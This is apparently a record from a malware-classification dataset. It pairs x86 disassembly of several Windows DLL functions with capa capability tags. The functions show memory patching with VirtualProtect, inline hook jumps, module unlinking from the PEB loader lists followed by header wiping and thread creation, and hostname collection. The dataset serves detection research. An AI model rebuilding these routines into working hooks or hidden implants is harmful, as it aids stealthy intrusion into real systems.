joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10059161
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x10087888]
test eax, eax
jne 0x1001371d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
movaps xmm0, xmmword [0x10072710]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x3ff21591
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x4e0]
test al, 1
jne 0x1001363c
or eax, 1
mov dword [esi + 0x4e0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3198], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3184], al
add ecx, 1
adc edx, 0
jne 0x10013628
cmp ecx, 0x14
jb 0x10013610
push 0x10064f40
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3184]
mov ecx, edi
call fcn.10050c60
mov eax, dword [esi + 0x187c]
mov dword [ebp - 0x1c], 0x76d930a2
mov dword [ebp - 0x18], 0x3d0df4f5
mov dword [ebp - 0x14], 0x3ffb1591
test al, 1
jne 0x100136bc
or eax, 1
mov dword [esi + 0x187c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xfb4], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0xfa8], al
add ecx, 1
adc edx, 0
jne 0x100136a8
cmp ecx, 0xc
jb 0x10013690
push 0x10064f90
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xfa8]
mov ecx, esi
call fcn.10050cc0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013716
push 7
call fcn.10056664
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013718
xor eax, eax
mov dword [0x10087888], eax
push ebx
mov dword [0x1008511c], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x1001f090
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10085e48], 0
push esi
push edi
jle 0x1001f0fa
mov ecx, dword [0x100843ac]
mov eax, dword [0x10080740]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1001f0fa
mov ecx, dword [0x100843ac]
mov eax, dword [0x10080740]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1001f13a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1001f12e
mov ecx, dword [0x100843ac]
mov eax, dword [0x10080740]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1001f13a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x100210a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100599d1
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10087850]
cmp eax, dword [ecx + 0xc]
jle 0x10021135
push 0x10087850
call fcn.10056121
add esp, 4
cmp dword [0x10087850], 0xffffffff
jne 0x10021135
mov dword [ebp - 4], 0
mov ecx, dword [0x100843ac]
mov eax, dword [0x10080740]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x10087850
mov dword [0x10087804], eax
call fcn.100560d7
add esp, 4
mov ecx, dword [0x100843ac]
mov eax, dword [0x10080740]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x100211c4
cmp dword [0x10085e1c], 0
je 0x100211c4
mov eax, dword [0x10080740]
mov ecx, dword [eax + 0x298]
mov eax, dword [0x10085268]
mov ecx, dword [eax + ecx]
call fcn.10014a30
mov esi, eax
test esi, esi
je 0x100211c4
mov ecx, dword [0x100843ac]
push 0x1008566c
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x100211c4
mov edx, dword [0x10084968]
add edx, eax
cmp edx, eax
jbe 0x100211c4
mov ecx, esi
call edx
test eax, eax
jle 0x100211c4
mov edi, dword [0x10087804]
cmp edi, 0x1000
jbe 0x100211f5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x100211e9
mov edi, dword [0x10087804]
cmp edi, 0x1000
jbe 0x100211f5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10021210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100843ac]
mov eax, dword [0x10080740]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100843ac]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x10080740]
je 0x1002127a
add eax, 0x150
cmp dword [0x10084fd4], 0
push eax
je 0x10021280
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100212ad
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x100212a1
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100212ad
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10055e09
mov esp, ebp
pop ebp
ret

Function at 0x10021820
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x10080130], 0
jne 0x10021883
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x100717f0]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10021853
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10021836
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x10080130], 1
mov dword [0x10085710], eax
add eax, 0x18
mov dword [0x10084a80], eax
mov esp, ebp
pop ebp
ret
Function at 0x100247e0
Capabilities:
Get hostname

Disassembly:
push 0x1007e058
push 0x100850c4
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.100246f0
cmp eax, 1
jne 0x1002480c
push str.Win_XP
push 0x10080ae8
call fcn.10005760
add esp, 8
call fcn.100246f0
cmp eax, 2
jne 0x10024828
push str.Win_Vista
push 0x10080ae8
call fcn.10005760
add esp, 8
call fcn.100246f0
cmp eax, 3
jne 0x10024844
push str.Win_7
push 0x10080ae8
call fcn.10005760
add esp, 8
call fcn.100246f0
cmp eax, 4
jne 0x10024860
push str.Win_8
push 0x10080ae8
call fcn.10005760
add esp, 8
call fcn.100246f0
cmp eax, 5
jne 0x1002487c
push str.Wi_10
push 0x10080ae8
call fcn.10005760
add esp, 8
ret
Function at 0x10049610
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x100496ae
cmp esi, 0x1000
jbe 0x1004968a
cmp edi, 0x1000
jbe 0x1004968a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100126c0
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1004971a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100126c0
add esp, 4
cmp esi, 0x1000
jbe 0x1004971d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1004971a
cmp esi, 0x1000
jbe 0x100496f8
cmp edi, 0x1000
jbe 0x100496f8
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100126c0
add esp, 4
jmp 0x10049712
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100126c0
add esp, 4
cmp esi, 0x1000
jbe 0x1004971d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10049734
cmp al, 0x6a
je 0x10049734
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10049630
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10049d80
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10049e82
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10049e07
cmp ecx, edi
jne 0x10049dfe
mov edx, dword [eax + 4]
test edx, edx
je 0x10049dcc
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x10049dcc
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10049dd8
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10049de5
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10049dfe
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x10049dfe
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10049db1
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10034a90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x100499a0
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.10055e09
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1004a410
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1004a43c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1004a45e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x1004a460
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x1004a4e5
jg 0x1004a475
test esi, esi
je 0x1004a4e5
test ecx, ecx
jl 0x1004a4c8
jg 0x1004a47f
test eax, eax
je 0x1004a4c8
cmp edi, ecx
jg 0x1004a493
jl 0x1004a489
cmp esi, eax
jae 0x1004a493
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x1004a4e5
jg 0x1004a4cb
test esi, esi
je 0x1004a4e5
jmp 0x1004a4cb
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x1004a4e5
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1004a500
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x1004a52c
jl 0x1004a520
test esi, esi
jne 0x1004a52c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x1004a545
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x1004a585
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x1004a585
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x1004a63c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1004a5b0
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x1004a5ff
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x1004a629
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x1004a5d0
cmp dword [ebp - 4], 0
jbe 0x1004a63f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1004a9b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1004a9e0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1004aa10
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x1004aa10
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1004aae5
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x1004aa39
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1004aa45
movsx eax, bl
jmp 0x1004aa7c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1004aae5
cmp eax, 1
jle 0x1004aaa6
cmp eax, 3
jne 0x1004aae5
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1004aac4
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1004aae5
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1004aae5
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10055e09
mov esp, ebp
pop ebp
ret 4
Function at 0x100511a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1005125c
cmp byte [esi + 0x3d], 0
je 0x1005125c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1005124a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10051211
sub eax, 1
je 0x10051215
sub eax, 2
jne 0x1005124a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10051233
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1005124a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10055ba0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060efd
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.10055a40
cmp byte [ebp - 0x84], 0
jne 0x10055cf1
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x10055c35
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x1007e6e0
call fcn.10055a40
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.10055a40
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x10055ca4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.10055af0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10055d33
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10055d29
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10055d29
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10056656
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret